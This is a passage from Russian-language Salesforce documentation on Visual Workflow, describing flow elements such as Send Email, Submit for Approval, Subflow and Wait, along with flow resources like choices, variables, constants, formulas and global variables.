электронное предупреждение.

Укажитедляписьмапокрайнеймереодногополучателя. Еслиобщееколичествоадресов
эл. почты не превышает пяти, то можно использовать оба параметра адреса письма.
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ОписаниеПоле

Текст сообщения эл. почты. Рекомендуем использовать ресурс «Текстовыйшаблон».Текст

Тема сообщения эл. почты.Тема

Дополнительно. Получателисообщенияэл. почты. Данныйпараметрпринимаетстроковые
значения, содержащиепеременныетипа «Текст», введенныевручнуюстрокииполя ввода
из элемента «Окно».

Чтобы гарантировать успешную отправку сообщения эл. почты, введите значение для
параметра «Адреса эл. почты (через запятую)» или «Адреса эл. почты (набор)».

Адреса эл. почты (через
запятую)

Если общее количество адресов эл. почты не превышает пяти, то система позволяет
использовать оба параметра.

Дополнительно. Получатели сообщения эл. почты. Данный параметр принимает только
переменные коллекции типа «Текст».

Чтобы гарантировать успешную отправку сообщения эл. почты, введите значение для
параметра «Адреса эл. почты (через запятую)» или «Адреса эл. почты (набор)».

Адреса эл. почты
(набор)

Если общее количество адресов эл. почты не превышает пяти, то система позволяет
использовать оба параметра.

Единый адрес эл. почты, используемый для отправки сообщения эл. почты. Данный
параметр является обязательным только при назначении полю «Тип отправителя»
значения OrgWideEmailAddress.

Адрес отправителя

Дополнительно. Адрес эл. почты, используемый как адреса для отправки и ответа на
сообщение эл. почты. Допустимые значения:

Тип отправителя

• CurrentUser: адрес эл. почтыпользователя, выполняющегопоток. (Поумолчанию)

• DefaultWorkflowUser: адресэл. почтыпользователябизнес-правилпоумолчанию.

• OrgWideEmailAddress: единый адрес эл. почты, указанный в поле «Адрес
отправителя».

Использование

Прим.: Во время выполнения письмо не будет отправлено, пока не завершится транзакция сеанса. Транзакции
считаются выполненными после того как сеанс завершится, либо будут выполнены элементы «Экран» или
«Ожидание».

СМ. ТАКЖЕ:

Отправка сообщения эл. почты из потока

Ресурс потока «Текстовыйшаблон»

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Ссылки на поля кросс-объекта в потоках
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Элемент «Действие» в потоке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Структурный нуль, который может использоваться в тех случаях, когда пользователь не
может выбрать нужный элемент.

Использование

Элементы «Действие» не могут использоваться в активных потоках. В роли
администратора можно запускать поток в режиме черновика, содержащего элементы
«Действие». Перед активацией потока необходимо заменить элементы «Действие»
другими элементами или полностью удалить их.

Чтобы преобразовать элемент «Действие» в элемент «Окно», наведите указатель мыши
на нужный элемент и щелкните по значку .

Прим.:

• Преобразование элемента «Действие», содержащего несколько коннекторов,
в элемент «Окно» инициирует удаление всех коннекторов.

• Послепреобразования элемента «Действие» егооригинальное уникальноеимя
задействовать невозможно.

СМ. ТАКЖЕ:

Элемент «Окно» в потоке

Элементы потока

Определение пути, по которому идет поток

Элемент потока «Отправить на утверждение»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный элемент отправляет одну запись Salesforce на утверждение.

Совет: Прежде чем начать работу, сохраните код записи, которая должна быть
отправлена на утверждение.

Входныеданные

Передает данные из потока в отправку на утверждение.

ОписаниеПараметр ввода

Код записи, которую нужно отправить на утверждение.Код записи

Код пользователя, которому должен быть назначен запрос на
утверждение, если ответственный за утверждение не назначается

Коды следующих
ответственных за
утверждение процессом утверждения автоматически. Данному параметру

должна соответствовать переменная коллекции типа «Строка»,
содержащая только один элемент.

Уникальное имя или код выбранного процесса утверждения,
которому должна быть отправлена запись. Процесс должен

Имя или код
процесса
утверждения
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ОписаниеПараметр ввода

использоватьтипобъекта, которыйиспользуетсязаписью, указаннойвполе «Код записи».

Данныйпараметрявляетсяобязательнымтольков томслучае, еслипараметру «Пропустить
критерии входа» задано значение $GlobalConstant.True.

При отсутствии данного параметра и параметра «Код отправителя» поток выполняется
только при соблюдении условий ниже.

• Ответственный за утверждение определяется автоматически.

• Пользователем, запустившим поток, является допустимый исходный отправитель.

Убедитесь, что:

• Ответственный за утверждение определяется автоматически.

• Исходнымиотправителями (дляпроцессовутверждения, связанныхсданнымобъектом)
являются все пользователи, которые могут запустить данный поток.

Дополнительные сведения см. в разделе «Создание процесса утверждения».

Приналичиизначения $GlobalConstant.True записьнеоцениваетсяотносительно
критериев входа, настроенных для процесса, заданного в параметре «Имя или код
процесса утверждения».

Пропустить критерии
входа

Текст, который должен сопутствовать отправке.

Комментарии к отправке отображаются в журнале утверждений для указанной записи.
Кроме того, данный текст отображается в исходном электронном запросе на утверждение,
если шаблон использует поле слияния {!ApprovalRequest.Comments}.

Комментарии к отправке

Код пользователя, отправившего запись на утверждение. Пользователь получает
уведомления об ответах для отправленного запроса на утверждение.

Пользователь должен быть одним из допустимых отправителей для процесса.

Код отправителя

При отсутствии данного параметра пользователь, запустивший поток, является
отправителем. Если бизнес-правило инициирует поток, содержащий данный элемент, то
отправителем является пользователь, инициировавший бизнес-правило. Бизнес-правила
могут быть инициированы при создании или редактировании записи. Уведомление об
утверждении или отклонении записи отправляется пользователю, запустившему поток
или инициировавшему бизнес-правило.

Выходныеданные

Передача данных из запроса на утверждение в поток. Назначения производятся при создании запроса на утверждение.

ОписаниеДополнительный
параметр вывода

Код отправленного запроса на утверждение.Код экземпляра

Статус текущего запроса на утверждение. Допустимые значения: «Утверждено»,
«Отклонено», «Удалено» или «Ожидание».

Статус экземпляра
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ОписаниеДополнительный
параметр вывода

Коды новых элементов, отправленных в запросе на утверждение. Допустимое количество
процессов утверждения: 0 или 1.

Коды новых рабочих
элементов

Коды пользователей, назначенных в качестве следующих ответственных за утверждение.Коды следующих
ответственных за
утверждение

Код записи, отправленной потоком на утверждение.Код записи

Использование

Прим.: Во время выполнения запрос на утверждение не будет создан, пока не завершится транзакция сеанса.
Транзакции считаются выполненными после того как сеанс завершится, либо будут выполнены элементы «Экран»
или «Ожидание».

СМ. ТАКЖЕ:

Элементы потока

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Ссылки на поля кросс-объекта в потоках

Элемент «Подпоток» в потоке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данныйэлементвызываетдругойпотокорганизации. Спомощьюэтогоэлементаможно
ссылаться на модульные потоки и упрощать общую архитектуру потока.

Элемент «Подпоток» ссылаетсянадругойпотокивызывает егопривыполнении. Поток,
содержащий элемент «Подпоток», называется основнымиотличается от ссылочного потока.

Совет: Созданиеменьшихпотоков, выполняющихстандартныезадачи. Например,
создайте служебные потоки для сбора адресов и данных кредитной карты, а также
авторизации стоимости покупки по кредитной карте. При необходимости
используйте эти потоки по заказу продуктов для вызова служебных потоков.

Присвоение значений переменным в ссылочном потоке. Назначения переменных
производятся при вызове выполняемого ссылочного потока основным потоком.

ОписаниеЗаголовок
столбца

Переменная ссылочного потока, значение которой должно быть задано.

По умолчанию данный раскрывающийся список содержит переменные
текущей активной версии ссылочного потока. При отсутствии активной

Цель

версииссылочногопотокараскрывающийсясписоксодержитпеременные
последней версии ссылочного потока.

4964

Visual WorkflowРасширение Salesforce посредством интерактивных
инструментов



ОписаниеЗаголовок
столбца

Ресурс или значение основного потока, которое должно быть назначено цели.

Доступные действия:

Источник

• Выберите текущий ресурс потока (например, переменная, постоянная или ввод данных
пользователем).

• Чтобы создать ресурс потока, выберите раздел «СОЗДАТЬ».

• Введите вручную литеральное значение или поле слияния.

Назначьтезначенияпеременныхссылочногопотокапеременнымосновногопотока. Назначенияпеременныхпроизводятся
при завершении выполнения ссылочного потока.

ОписаниеЗаголовок
столбца

Переменная ссылочного потока, значение которой должно быть назначено цели.

По умолчанию данный раскрывающийся список содержит переменные текущей активной версии
ссылочного потока. При отсутствии активной версии ссылочного потока раскрывающийся список
содержит переменные последней версии ссылочного потока.

Источник

Переменная основного потока, значение которой должно быть задано.Цель

Использование

По умолчанию выполняемый основной поток вызывает активную версию каждого ссылочного потока. При отсутствии
активнойверсииссылочногопотокаосновнойпотоквызываетпоследнююверсиюссылочногопотока. Длязапускапоследней
версии каждого ссылочного потока:

• Откройте основной поток и щелкните «Выполнить с последними» на панели кнопок.

• Или добавьте URL-адрес для основного потока со значением ?latestSub=true.

Прим.: Выполнениенеактивныхпотоковдоступнотолькоадминистраторампотоков. Потоки, запущенныедругими
пользователями, не выполняются, если элемент «Подпоток» пытается вызвать поток, который не имеет активной
версии.

СМ. ТАКЖЕ:

Элементы потока

Просмотр элементов ввода и вывода других версий ссылочного потока

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Ссылки на поля кросс-объекта в потоках
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Элемент «Ожидание» в потоке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ожидает выполнения одного или нескольких заданных событий, что позволяет
автоматизировать процессы, требующие периода ожидания.

Определите события, наступления которых поток ожидает, прежде чем продолжить
выполнение.

ОписаниеПоле

Имя отображается коннектором, связанным с данным событием.Имя

Имя элемента должно быть уникальным только в рамках текущего
потока. Уникальноеимя элементовможетповторяться, при условии,
что данные элементы используются в разных потоках. Уникальное
имяможетсодержатьтолькобуквы, цифрыисимволыподчеркивания.

Уникальное
имя

Имядолжноначинаться сбуквы; неможет содержатьпробеловидвух
последовательных символов подчеркивания, а также не может
заканчиваться символом подчеркивания.

Данное поле определяет необходимость ожидания потоком
компонентов ниже.

Тип события

• Абсолютное время (например, «через 3 дня»)

• Время относительно поля даты/времени записи Salesforce
(например, «через 3 дня после закрытия возможности»)

Точно определяет событие, которого ожидает поток. Параметры
различаются в зависимости от выбранного типа события.

Условия
события

Если этот параметр активирован, поток ожидает данное событие
только при выполнении соответствующих условий.

Ожидать
данное
событие только
при
выполнении
дополнительных
условий

Определяет, какие условия должны быть истинными, чтобы поток
ожидал данное событие. Доступно только при активированном

Условия
ожидания

параметре «Ожидать данное событие только при выполнении
дополнительных условий».

Поток дожидается события только в том случае, если условия
ожиданияоцениваютсякак истинные. Дополнительнуюинформацию
см. в разделе «Определение условий потока» на странице 4923.

Назначает выводы события переменным потока. Параметры
различаются в зависимости от выбранного типа события.

Назначения
переменной
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ОписаниеПоле

Определяет действия потока в случае, если все события не удовлетворяют условиям ожидания.
Если хотя бы одно событие не удовлетворяет условиям ожидания, стандартный путь не
выполняется.

Имя отображается стандартным коннектором элемента «Ожидание». Введите настраиваемое
имя данного пути, заменив заранее определенное значение.

[Стандартный путь]

Использование

Прим.:

• Потоки, содержащие элементы «Ожидание», должны быть автоматически запущенными. Поток, содержащий
элементы «Ожидание», «Окно», «Выбор» или «Динамическийвыбор», неможетбыть активированиливыполнен.

• Прежде чем добавить элемент «Ожидание» в поток, просмотрите особые алгоритмы и ограничения.
Дополнительные сведения см. в разделе «Ограничения для контролируемых по времени потоков» на странице
4910.

После определения событий свяжите элемент «Ожидание» с другими элементами холста для выбора действий, которые
должны выполняться потоком при выполнении указанных ниже условий.

• Каждое событие выполняется впервые. Один коннектор (1) доступен для каждого события, заданного в элементе
«Ожидание».

• Поток не содержит события для ожидания ввиду невыполнения условий ожидания для каждого события. Один
коннектор (2) доступен для стандартного пути элемента «Ожидание».

• Потоксодержитошибку, связаннуюсэлементом «Ожидание». Одинконнектор (3)доступендляпутиошибкиэлемента
«Ожидание» и всегда использует метку «ОШИБКА».

При ожидании потоком нескольких событий рекомендуем вернуть путь потока в элемент «Ожидание» для ожидания
других событий. Вданномслучае, рекомендуемиспользовать условияожидания, позволяющиеконтролироватьпорядок
ожидания каждого события потоком. Пример см. в разделе «Образец потока, ожидающего множество событий» на
странице 5022.
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Что такое условия ожидания?

Каждое событие, заданное в элементе потока «Ожидание», использует необязательные условия ожидания. Сеанс потока
дожидается наступления события только при выполнении данных условий.

СМ. ТАКЖЕ:

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Ссылки на поля кросс-объекта в потоках

Элементы потока

Что такое условияожидания?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Каждое событие, заданное в элементе потока «Ожидание», использует необязательные
условияожидания. Сеанспотока дожидаетсянаступления события толькопривыполнении
данных условий.

Приобнаруженииэлемента «Ожидание» сеанспроверяет условияожиданиядля каждого
события сцельюопределениясобытий, наступлениякоторыхследуетдожидаться. Сеанс
не дожидается события, условия ожидания которого не выполняются. При наличии
невыполненных условий ожидания для всех событий сеанс выполняет стандартный
путь.

Совет: Путь по умолчанию требуется в следующих случаях.

• Для всех событий установлены условия ожидания.

• Необходимо продолжить выполнение потока после соблюдения условий
ожидания для всех событий.

Пример: Ниже приведены два сценария использования условий ожидания.

• Поток дожидается наступления разных событий на основе значения поля определенной записи.

Например, отправка электронногонапоминанияответственномуза контрактдонаступлениядатыегоокончания.
А, дата отправки сообщения эл. почты определяется рейтингом организации контракта. Если организации
назначается рейтинг «Hot», то сообщение эл. почты отправляется за месяц до даты окончания. В противном
случае, сообщение эл. почты отправляется за две недели до даты окончания.

Данный пример позволяет создать два события. Первое событие выполняется за 30 дней до наступления даты
окончанияконтракта. Егоусловияожиданияпроверяютсятольковтомслучае, еслиполе «Рейтинг» организации
контракта содержит значение «Hot».

Второе событие выполняется за 15 дней до наступления даты окончания контракта. Его условия ожидания
проверяются только в том случае, если поле «Рейтинг» организации контракта не содержит значение «Hot».
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При выполнении элемента «Ожидание» сеанс потока проверяет условия ожидания для каждого события. Сеанс
потокадожидается толькотех событий, условияожиданиякоторыхвыполняются. Еслиорганизацииназначается
рейтинг «Hot», то сеанс не дожидается наступления второго события.

• Поток дожидается наступления нескольких событий (например, отправка периодических электронных
напоминаний). Пример данного сценария см. в разделе «Образец потока, ожидающего множество событий» на
странице 5022.

СМ. ТАКЖЕ:

Операторы в фильтрах записей потока

Элемент «Ожидание» в потоке

Типы событий потока

Ресурсы потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Каждый ресурс соответствует значению, котороеможетиспользоваться в любойобласти
потока.

Навкладке «Проводник» облачнойверсииприложения Flow Designerпоказаныресурсы,
доступные в этом потоке.

Некоторые типыресурсов могут быть созданына вкладке «Ресурсы» двойнымщелчком.
Некоторые ресурсы, такие как глобальные постоянные и системные переменные,
предоставляются системой автоматически. Другие ресурсы предоставляются системой
после добавления элемента в поток. Например, при добавлении в поток элемента
«Решение» система создает ресурсы для всех результатов.

Доступные ресурсы определяются конкретным настраиваемым полем. Как правило,
ресурсы могут быть созданы прямо внутри поля посредством раздела «СОЗДАТЬ»
раскрывающегося списка.

Можно создать на
вкладке «Ресурсы»

ОписаниеРесурс
потока

ДаДанный ресурс представляет отдельное значение, которое может
использоваться в полях выбора.

Выбор

ДаРесурс сохраняет несколько обновляемых значений, использующих один
тип данных (например, группа адресов эл. почты).

Переменная
коллекции

ДаДанный ресурс сохраняет фиксированное значение.Постоянная

ДаОтображает набор выборов, созданный на основе записей объекта.Динамический
выбор
записи

Любой элемент, добавляемый в поток, доступен как ресурс через оператор
«просмотрено» в критерии результата. Элемент, который уже выполнялся
в сеансе потока, считается просмотренным.

Любой элемент, добавляемый в поток, который поддерживает коннектор
«Ошибка», доступен в качестве логического ресурса. Если элемент уже

Элемент
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Можно создать на
вкладке «Ресурсы»

ОписаниеРесурс
потока

выполнялся в сеансе потока, то ресурсу задается значение «Истина». Если
элементещеневыполнялсяиливыполнялсянеправильно, торесурсузадается
значение «Ложь».

ДаРассчитываетзначениесиспользованиемдругихресурсовпотокаифункций
Salesforce

Формула

Фиксированные предоставляемые системой значения (например, «Пустая
строка», «Истина» и «Ложь»), которыемогутбытьназначеныкак значения
ресурсов потока.

Глобальная
постоянная

Предоставляемые системой переменные, ссылающиеся на сведения об
организации или текущем пользователе (например, код пользователя или

Глобальные
переменные

код сеанса API). В приложении Visual Workflow глобальные переменные
доступны только в формулах потока.

Результаты элемента «Решение», добавляемого впоток, доступныв качестве
логическихресурсов. Еслипуть результата уже выполнялся в сеансе потока,
то ресурсу задается значение «Истина».

Результат

ДаДанный ресурс представляет набор выборов, созданных из значений поля
раскрывающегося списка илираскрывающегося списка сомножественным
выбором.

Выбор
раскрывающегося
списка

Предоставленные системой значения для полей раскрывающегося списка
впеременных sObject ипеременныхколлекции sObject. Доступен толькодля
элементов «Назначение» и «Решение».

Значения
раскрывающегося
списка

Любое поле окна, добавляемое в поток, доступно в качестве ресурса.
Значение ресурса определяется типом поля окна. Значение поля ввода —

Поле окна

это значение, вводимое пользователем. Значение поля выбора — это
сохраненное значение выбора, выбираемое пользователем. Значение поля
вывода — это текст, отображаемый пользователю.

ДаРесурс сохраняет обновляемые значения полей одной или нескольких
записей Salesforce.

Переменная
коллекции
sObject

ДаРесурс сохраняет обновляемые значения полей записи Salesforce.Переменная
sObject

Предоставляемыесистемойзначениявыполняемогосеансапотока (например,
{!$Flow.CurrentDate}, {!$Flow.CurrentDateTime} и
{!$Flow.FaultMessage}).

Системная
переменная

ДаДанный ресурс сохраняет форматированный текст.Текстовый
шаблон

ДаДанный ресурс сохраняет значение, которое может обновляться по мере
выполнения потока.

Переменная
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Можно создать на
вкладке «Ресурсы»

ОписаниеРесурс
потока

События элемента «Ожидание», добавляемого в поток, доступны в качестве
логическихресурсов. Привыполненииусловийожидания событияресурсу

Событие
ожидания

задается значение «Истина». При отсутствии заданных условий ожидания
события ресурсу всегда задается значение «Истина».

СМ. ТАКЖЕ:

Облачная версия приложения Flow Designer

Ресурс потока «Выбор»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данныйресурспредставляетотдельное значение, котороеможетиспользоваться вполях
выбора.

ОписаниеПоле

Понятное имя варианта выбора.Метка

Уникальное имя может содержать только буквы, цифрыи символы
подчеркивания. Имядолжноначинатьсясбуквы; неможетсодержать
пробелов и двух последовательных символов подчеркивания, а
также не может заканчиваться символом подчеркивания.

Уникальное имя

Описание позволяет отличать данный вариант выбора от других
ресурсов.

Описание

Данное поле определяет поля выбора, которые могут использовать
данныйвыбор. Например, поле-переключатель «Валюта» неможет
использовать выбор типа «Текст».

Тип данных
значения

Определяет число знаков после запятой. Не может превышать
17 цифр. Если данное поле является пустым или содержит нулевое

Шкала

значение, то при выполнении потока отображаются только целые
числа.

Доступно только для выборов типа «Валюта» и «Число».

Данное значение, выбранное пользователем, отображается полем
выбора. При отсутствии выбранного значения сохраненному
значению задается значение null.

Сохраненное
значение

Отображаеттекстовоеполеподвариантомвыбора. Данныйпараметр
недоступен, если типу данных задано значение «Логический».

Показать ввод
при выборе

Эти поля отображаются, только если установлен флажок «Показать ввод при выборе».
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ОписаниеПоле

Понятная подпись для текстового поля.Метка

Запрашивает пользовательский ввод в текстовое поле, после чего поток может быть продолжен или
завершен.

Обязательно

Выполняется проверка введенного пользователем значения.Проверка

Следующие поля отображаются только при установке флажка «Проверка».

ОписаниеПоле

Логическое выражение формулы, оценивающее корректность введенного значения.Формула

Отображается, если пользователь ввел недопустимое значение.Сообщение
об ошибке

Пример: Еслипотокпредлагаетпользователямвыбратьопределенныйуровеньобслуживания, создайте следующие
варианты выбора: «Золотой», «Серебряный» и «Бронзовый». Воспользуйтесь элементом «Окно» для отображения
добавленныхвариантоввыбораиихописаний. Затемразрешитепользователямвыбиратьзначенияраскрывающегося
списка посредством того же элемента «Окно».

СМ. ТАКЖЕ:

Ресурсы потока

Элемент «Окно» в потоке: поля выбора

Варианты полей выбора в элементах «Окно» потока

Ссылки на поля кросс-объекта в потоках

Ресурс потока «Переменная коллекции»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ресурс сохраняет несколько обновляемых значений, использующих один тип данных
(например, группа адресов эл. почты).

ОписаниеПоле

Имяэлементадолжнобытьуникальнымтольковрамках текущего
потока. Уникальное имя элементов может повторяться, при
условии, что данные элементы используются в разных потоках.
Уникальноеимяможетсодержатьтолькобуквы, цифрыисимволы
подчеркивания. Имя должно начинаться с буквы; не может
содержать пробелов и двух последовательных символов
подчеркивания, а также не может заканчиваться символом
подчеркивания.

Уникальное имя

Описание позволяет отличать данную переменную коллекции
от других ресурсов.

Описание
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ОписаниеПоле

Данное поле определяет тип значений, которые могут быть назначены переменной
коллекции.

Тип данных

Данное поле определяет доступность переменной коллекции за пределами потока.Тип ввода/вывода

• «Личный»: переменная может быть назначена и использована только внутри потока.

• «Ввод»: переменная может быть задана в качестве начала потока посредством
контроллеров Visualforce или элементов ввода подпотока.

• «Вывод»: переменнаяможетбыть доступна в контроллерахVisualforceидругихпотоках.

Данное поле не влияет на способ назначения или использования переменных внутри
одного потока (например, посредством следующих типов элементов: «Назначение»,
«Создание записи» или «Быстрое создание», «Поиск записи» или «Быстрый поиск» и
«Модуль Apex»).

По умолчанию поле содержит значение «Личный».

Внимание: Выключениевводаиливыводадля текущейпеременнойможетповлиять
на функциональные возможности приложений и страниц, вызывающих поток и
осуществляющих доступ к переменной. Например, доступ к переменным может
осуществляться посредством параметров URL-адреса, контроллеров Visualforce,
подпотоков и процессов.

СМ. ТАКЖЕ:

Ресурсы потока

Ресурс потока «Переменная коллекции sObject»

Элемент «Цикл» в потоке

Ссылки на поля кросс-объекта в потоках

Ресурс потока «Постоянная»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ресурс «Постоянная» в потоке представляет фиксированное значение. В отличие от
переменных значение постоянных не меняется во время выполнения потока.

ОписаниеПоле

Имяэлементадолжнобытьуникальнымтольковрамках текущего
потока. Уникальное имя элементов может повторяться, при
условии, что данные элементы используются в разных потоках.
Уникальноеимяможетсодержатьтолькобуквы, цифрыисимволы
подчеркивания. Имя должно начинаться с буквы; не может
содержать пробелов и двух последовательных символов
подчеркивания, а также не может заканчиваться символом
подчеркивания.

Уникальное имя

Описание позволяет отличать эту постоянную от других
постоянных.

Описание
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ОписаниеПоле

Определяет тип значений, которые могут храниться в постоянной.Тип данных

Значение постоянной. Это значение не меняется во время выполнения потока.Значение

СМ. ТАКЖЕ:

Ресурсы потока

Ресурс «Динамический выбор записи» в потоке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отображает набор выборов, созданный на основе записей объекта.

ОписаниеПоле

Имяэлементадолжнобытьуникальнымтольковрамках текущего
потока. Уникальное имя элементов может повторяться, при
условии, что данные элементы используются в разных потоках.
Уникальноеимяможетсодержатьтолькобуквы, цифрыисимволы
подчеркивания. Имя должно начинаться с буквы; не может
содержать пробелов и двух последовательных символов
подчеркивания, а также не может заканчиваться символом
подчеркивания.

Уникальное имя

Описаниепозволяетотличатьданныйресурсот другихресурсов.Описание

Тип данных для сохраненного значения выбора.Тип данных
значения

Определяет объект, записи которого необходимо использовать
для создания выборов.

Создайте выбор
для каждого

Определяет, какие записи входят в созданный список выборов.
При отсутствии примененных фильтров выбор создается для
каждой записи выбранного объекта.

Например, для создания списка всех организаций в
Сан-Франциско используются фильтры для включения только

Критерий
фильтрации

тех организаций, в поле «Город для счета» которых указан
Сан-Франциско.

Определяет, какоеполеиспользуетсяв качествеметкидлякаждого
созданного выбора. Выбор поля, который позволяет
пользователям отличать созданные выборы.

Метка выбора

Совет: Убедитесь, что выбрано поле, содержащее данные.
Еслив выбранномполенет значениядля заданнойзаписи,
меткасоответствующеговыборавовремявыполнениябудет
оставаться пустой.
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ОписаниеПоле

Определяет значение сохраняемого поля в случае, если пользователь выбирает данный
вариант при выполнении. «Тип данных значения» определяет доступные параметры.

По умолчанию сохраненное значение равно нулю. Сохраненное значение определяется
самым последним выбором в созданном наборе.

Сохраненное значение
выбора

Данное поле определяет порядок отображения выборов.

При выбранном параметре «Сортировать результаты по:» необходимо также выбрать
поле, по которому следует сортировать выборы. Затем выберите, в каком порядке должны
отображаться выборы.

Сортировать результаты
по:

Ограничивает количество параметров, отображаемых в поле, которое использует
динамический выбор записей.

При выбранном параметре «Ограничить количество выборов по:» также необходимо
указать максимальное число (до 200) выборов для включения.

Ограничить количество
выборов до:

Извлекает значения полей из записи, выбранной пользователем, и сохраняет их в
переменных потока, на которые можно ссылаться в дальнейшем.

Присвоить поля записей
переменным...

Прим.: Если поле со множественным выбором использует динамический выбор
записи, то переменные потока хранят только значения из последней записи,
выбранной пользователем. Если несколько полей со множественным выбором в
одном окне используют один и тот же динамический выбор записей, присвоения
переменных распространяются на первые из этих полей.

Пример: Впотокеподдержкидлякомпании-производителякомпьютерногооборудованияпользовательопределяет
продукт для поиска последних обновлений. Организация создает динамический выбор записей, отображающий
всепродукты, чьиидентификационныеномераначинаютсяопределеннойстрокойсимволов. Обычнопользователи
потока не знают идентификационные номера продуктов, но знают их имена, поэтому поле, содержащее имя
продукта, может быть выбрано как «Метка выбора». Чтобы показать код и описание связанного продукта в других
областях потока, Для этого назначьте значения полей «Код» и «Описание», доступные в выбранной пользователем
записи, переменным потока.

СМ. ТАКЖЕ:

Операторы в фильтрах записей потока

Элемент «Окно» в потоке: поля выбора

Варианты полей выбора в элементах «Окно» потока

Ресурсы потока
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Ресурс потока «Формула»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рассчитывает значение с использованием других ресурсов потока ифункций Salesforce.

ОписаниеПоле

Имя элемента должно быть уникальным только в рамках
текущего потока. Уникальное имя элементов может
повторяться, при условии, что данные элементы
используются в разных потоках. Уникальное имя может
содержать толькобуквы, цифрыисимволыподчеркивания.
Имя должно начинаться с буквы; не может содержать
пробелов и двух последовательных символов
подчеркивания, а также не может заканчиваться символом
подчеркивания.

Уникальное имя

Описание позволяет отличать эту формулу от других
формул.

Описание

Тип данных для значения, вычисляемого формулой.Тип данных значения

Определяет число знаков после запятой. Не может
превышать 17 цифр. Если данное поле является пустым

Шкала

илисодержитнулевоезначение, топривыполнениипотока
отображаются только целые числа.

Данное поле отображается только при назначении полю
«Тип данных значения» значения «Число» или «Валюта».

Выражение, которые используется для расчета во время
выполненияпотока. Возвращаемое значениедолжнобыть
совместимо с типом «Тип данных значения».

Формула

Прим.: Некоторые операторыформулы не
поддерживаютсяоблачнойверсиейприложенияFlow
Designer.

СМ. ТАКЖЕ:

Операторы и функцииформулы

Ограничения для формул потока

Ресурсы потока

Ссылки на поля кросс-объекта в потоках
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Ресурс потока «Глобальная постоянная»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Этот ресурс хранит неизменные, предоставляемые системой значения, такие как
EmptyString, True и False.

Поддерживаемые типы данныхГлобальная постоянная

Логический{!$GlobalConstant.True}

Логический{!$GlobalConstant.False}

Текст{!$GlobalConstant.EmptyString}

Пример: При создании переменных булевого типа поддерживаются
$GlobalConstant.True и $GlobalConstant.False. Но при создании
переменной типа «Валюта» глобальные постоянные не поддерживаются.

Значение null ипустая строка

Глобальная постоянная {!$GlobalConstant.EmptyString} и значение null обрабатываются при выполнении
как отдельные и различные значения. Например:

• Пустое значениетекстовогополяилиресурсаотображаетсяпривыполнениикак значение null. Рекомендуемзадать
значению, которое должно обрабатываться как пустая строка, глобальную постоянную
{!$GlobalConstant.EmptyString}.

• Приналичии условийпотока рекомендуемиспользовать оператор «равно нулю» для определения значения null.
Если условие сравнивает две текстовые переменные, то их стандартным значениям должна быть задана глобальная
постоянная {!$GlobalConstant.EmptyString} или значение null.

СМ. ТАКЖЕ:

Ресурсы потока

Глобальные переменные в приложении Visual Workflow

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Предоставляемыесистемойпеременные, ссылающиесяна сведенияоборганизацииили
текущем пользователе (например, код пользователя или код сеанса API). В приложении
Visual Workflow глобальные переменные доступны только в формулах потока.

Пример: Переменная {$!User.Id} обеспечивает быстрый доступ к коду
пользователя, выполняющему сеанс потока.

Нижеперечисленыглобальныепеременные, поддерживаемыеформуламипотока. При
отсутствии значения в базе данных соответствующее поле слияния возвращает пустое
значение. Например, при отсутствии значения для поля «Страна» организации
{!$Organization.Country} не возвращает значение.
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ОписаниеГлобальная
переменная

Данная глобальная переменная ссылается на URL-адреса API или код сеанса. Ниже перечислены
доступные поля слияния.

$Api

• Enterprise_Server_URL_xxx: конечная точка SOAP документа Enterprise WSDL, где
переменная xxx соответствует версии API.

• Partner_Server_URL_xxx: конечная точка SOAP документа Partner WSDL, гдепеременная
xxx соответствует версии API.

• Session_ID

Данная глобальнаяпеременнаяссылаетсянанастраиваемыеметки. Данная глобальнаяпеременная
отображается только после создания настраиваемых меток в организации.

Возвращаемое значение определяется языком контекстного пользователя. Ниже перечислены
возможные возвращенные значения (в порядке очередности).

$Label

1. Текст локального перевода

2. Текст пакетного перевода

3. Текст основной метки

Данная глобальная переменная ссылается на сведения о компании.$Organization

Прим.: {!$Organization.UiSkin} возвращает одно из указанных ниже значений.

• Theme1: устаревшая тема Salesforce

• Theme2: тема Salesforce, использовавшаяся до выпуска Spring'10

